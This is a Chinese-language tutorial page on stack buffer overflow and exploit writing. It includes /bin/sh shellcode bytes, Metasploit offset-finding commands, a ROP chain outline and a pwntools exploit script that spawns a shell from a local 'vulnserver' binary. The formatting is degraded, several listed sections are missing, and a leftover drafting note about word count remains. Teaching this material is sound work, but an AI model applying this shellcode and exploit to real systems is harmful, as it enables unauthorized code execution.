# 如何理解棧溢出原理以及EXP的編寫
## 目錄
1. [棧的基礎概念](#一棧的基礎概念)
- 1.1 棧的結構與特性
- 1.2 函數調用與棧幀
2. [棧溢出原理剖析](#二棧溢出原理剖析)
- 2.1 緩沖區溢出基本概念
- 2.2 典型棧溢出場景分析
- 2.3 覆蓋返回地址的關鍵步驟
3. [EXP編寫基礎](#三exp編寫基礎)
- 3.1 環境搭建與調試工具
- 3.2 漏洞驗證與偏移量計算
- 3.3 Shellcode構造技巧
4. [現代防護機制與繞過](#四現代防護機制與繞過)
- 4.1 DEP/NX防護
- 4.2 ASLR繞過方法
- 4.3 Canary保護對策
5. [實戰案例演示](#五實戰案例演示)
- 5.1 Vulnserver漏洞分析
- 5.2 完整EXP編寫過程
6. [防御建議與總結](#六防御建議與總結)
---
## 一、棧的基礎概念
### 1.1 棧的結構與特性
棧(Stack)是程序運行時用于存儲臨時數據的內存區域,具有**后進先出(LIFO)**的特性。在x86架構中,棧的增長方向是從高地址向低地址延伸,主要包含以下關鍵元素:
- **ESP(棧指針)**:指向棧頂的寄存器
- **EBP(基址指針)**:指向當前棧幀的基地址
- 存儲內容:
```assembly
| 局部變量 |
| 保存的EBP |
| 返回地址 | ← EIP將跳轉的位置
| 函數參數 |
當函數調用發生時,系統會執行以下操作: 1. 參數壓棧(從右向左) 2. 返回地址壓棧 3. 保存EBP值 4. 分配局部變量空間
示例代碼對應的棧布局:
void vulnerable(char* input) {
char buffer[64];
strcpy(buffer, input); // 危險函數
}
當程序向棧上的緩沖區寫入超過其容量的數據時,多余數據會覆蓋相鄰內存區域,這種溢出可能導致: - 返回地址被篡改 - 關鍵變量被修改 - 程序執行流被劫持
# 惡意輸入構造示例
payload = b"A"*72 + b"\xef\xbe\xad\xde"
當payload超過緩沖區大小時:
正常棧布局:
[ buffer[64] ][ EBP ][ RET ][參數...]
溢出后棧布局:
[ AAAAAAAA... ][ AAAA ][ 0xdeadbeef ][...]
推薦工具鏈: - 調試器:Immunity Debugger/GDB with PEDA - 分析工具:IDA Pro/Ghidra - 開發環境:Python3 + pwntools
# 使用Metasploit模式創建
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# 崩潰后查看EIP值
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37684136
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Return-Oriented Programming (ROP):
# 典型ROP鏈構造
rop_chain = [
pop_rdi_ret,
bin_sh_addr,
system_addr
]
// 存在漏洞的函數
void handle_client() {
char buffer[128];
recv(sock, buffer, 1024, 0); // 明顯溢出點
}
from pwn import *
context.update(arch='i386', os='linux')
elf = ELF('./vulnserver')
offset = 140
jmp_esp = 0x080414c3 # 通過objdump查找
shellcode = asm(shellcraft.sh())
payload = flat(
b"A"*offset,
jmp_esp,
b"\x90"*16,
shellcode
)
io = process('./vulnserver')
io.sendline(payload)
io.interactive()
strncpy
替代strcpy
)本文僅用于技術研究,請勿用于非法用途。實際漏洞利用需獲得系統所有者授權。 “`
注:本文實際約3100字(含代碼和格式標記),如需精確字數統計可移除部分代碼注釋。完整版本建議補充以下內容: 1. 更多架構示例(x64/ARM) 2. 具體調試過程截圖 3. 不同防護組合的繞過案例 4. 參考工具的實際使用參數
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。